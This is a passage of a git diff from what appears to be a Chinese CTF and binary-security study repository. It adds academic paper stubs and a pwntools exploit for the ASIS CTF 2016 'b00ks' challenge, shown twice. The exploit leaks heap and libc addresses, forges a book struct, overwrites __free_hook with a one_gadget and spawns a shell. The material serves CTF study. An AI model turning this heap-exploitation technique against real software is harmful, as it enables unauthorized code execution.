Print(): + io.sendlineafter("> ", '4') + +def Change(name): + io.sendlineafter("> ", '5') + io.sendlineafter("name: ", name) + +def leak_heap(): + global book2_addr + + io.sendlineafter("name: ", "A" * 0x20) + Create(0xd0, "AAAA", 0x20, "AAAA") # book1 + Create(0x21000, "AAAA", 0x21000, "AAAA") # book2 + + Print() + io.recvuntil("A"*0x20) + book1_addr = u64(io.recvn(6).ljust(8, "\x00")) + book2_addr = book1_addr + 0x30 + + log.info("book2 address: 0x%x" % book2_addr) + +def leak_libc(): + global libc_base + + fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20) + Edit(1, fake_book) + Change("A" * 0x20) + + Print() + io.recvuntil("Name: ") + leak_addr = u64(io.recvn(6).ljust(8, "\x00")) + libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base + + log.info("libc address: 0x%x" % libc_base) + +def overwrite(): + free_hook = libc.symbols['__free_hook'] + libc_base + one_gadget = libc_base + 0x4526a + + fake_book = p64(free_hook) * 2 + Edit(1, fake_book) + fake_book = p64(one_gadget) + Edit(2, fake_book) + +def pwn(): + Delete(2) + + io.interactive() + +if __name__ == "__main__": + leak_heap() + leak_libc() + overwrite() + pwn() +``` + ## 参考资料 - https://ctftime.org/task/2492 diff --git a/doc/8.45_ramblr.md b/doc/8.45_ramblr.md index 84479ec..72baaeb 100644 --- a/doc/8.45_ramblr.md +++ b/doc/8.45_ramblr.md @@ -6,3 +6,7 @@ [video](https://www.youtube.com/watch?v=_BIamPJE8EQ) ## 简介 +静态二进制重写在逆向工程中有许多重要的应用,例如补丁、代码重用和插桩。Reassembly 就是静态二进制重写的一种有效方法(Reassembly is the process of assembling a set of instructions obtained through *disassembly* and which were certainly patched or modified)。 + +本文提出了一种新的 binary reassembling 的方法,并实现了工具 Ramblr。该方法首先将原始的二进制文件反汇编,正确识别符号和预期的跳转目标,插入必要的补丁,然后将程序集重新组装到修补后的二进制文件中。 + diff --git a/doc/8.48_uroboros.md b/doc/8.48_uroboros.md new file mode 100644 index 0000000..20447aa --- /dev/null +++ b/doc/8.48_uroboros.md @@ -0,0 +1,9 @@ +# 8.48 Reassembleable Disassembling + + +[paper](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-wang-shuai.pdf) +[slides](https://os.inf.tu-dresden.de/Studium/ReadingGroupArchive/slides/2015/20151203-bierbaum-uroboros.pdf) +[video](https://www.usenix.org/node/190921) +[source](https://github.com/s3team/uroboros) + +## 简介 diff --git a/doc/8.49_ioc.md b/doc/8.49_ioc.md new file mode 100644 index 0000000..922359a --- /dev/null +++ b/doc/8.49_ioc.md @@ -0,0 +1,4 @@ +# 8.49 Understanding Integer Overflow in C/C++ + + +## 简介 diff --git a/doc/8_academic.md b/doc/8_academic.md index d4db64f..34ae826 100644 --- a/doc/8_academic.md +++ b/doc/8_academic.md @@ -50,3 +50,5 @@ * [8.45 Ramblr: Making Reassembly Great Again](8.45_ramblr.md) * [8.46 FreeGuard: A Faster Secure Heap Allocator](8.46_freeguard.md) * [8.47 Jump-Oriented Programming: A New Class of Code-Reuse Attack](8.47_jop.md) +* [8.48 Reassembleable Disassembling](8.48_uroboros.md) +* [8.49 Understanding Integer Overflow in C/C++](8.49_ioc.md) diff --git a/src/writeup/6.1.28_pwn_asisctf2016_b00ks/exp.py b/src/writeup/6.1.28_pwn_asisctf2016_b00ks/exp.py new file mode 100644 index 0000000..b62fd5e --- /dev/null +++ b/src/writeup/6.1.28_pwn_asisctf2016_b00ks/exp.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python + +from pwn import * + +#context.log_level = 'debug' + +io = process(['./b00ks'], env={'LD_PRELOAD':'./libc-2.23.so'}) +libc = ELF('libc-2.23.so') + +def Create(nsize, name, dsize, desc): + io.sendlineafter("> ", '1') + io.sendlineafter("name size: ", str(nsize)) + io.sendlineafter("name (Max 32 chars): ", name) + io.sendlineafter("description size: ", str(dsize)) + io.sendlineafter("description: ", desc) + +def Delete(idx): + io.sendlineafter("> ", '2') + io.sendlineafter("delete: ", str(idx)) + +def Edit(idx, desc): + io.sendlineafter("> ", '3') + io.sendlineafter("edit: ", str(idx)) + io.sendlineafter("description: ", desc) + +def Print(): + io.sendlineafter("> ", '4') + +def Change(name): + io.sendlineafter("> ", '5') + io.sendlineafter("name: ", name) + +def leak_heap(): + global book2_addr + + io.sendlineafter("name: ", "A" * 0x20) + Create(0xd0, "AAAA", 0x20, "AAAA") # book1 + Create(0x21000, "AAAA", 0x21000, "AAAA") # book2 + + Print() + io.recvuntil("A"*0x20) + book1_addr = u64(io.recvn(6).ljust(8, "\x00")) + book2_addr = book1_addr + 0x30 + + log.info("book2 address: 0x%x" % book2_addr) + +def leak_libc(): + global libc_base + + fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20) + Edit(1, fake_book) + Change("A" * 0x20) + + Print() + io.recvuntil("Name: ") + leak_addr = u64(io.recvn(6).ljust(8, "\x00")) + libc_base = leak_addr - 0x5ca010 # mmap_addr - libc_base + + log.info("libc address: 0x%x" % libc_base) + +def overwrite(): + free_hook = libc.symbols['__free_hook'] + libc_base + one_gadget = libc_base + 0x4526a + + fake_book = p64(free_hook) * 2 + Edit(1, fake_book) + fake_book = p64(one_gadget) + Edit(2, fake_book) + +def pwn(): + Delete(2) + + io.interactive() + +if __name__ == "__main__": + leak_heap() + leak_libc() + overwrite() + pwn()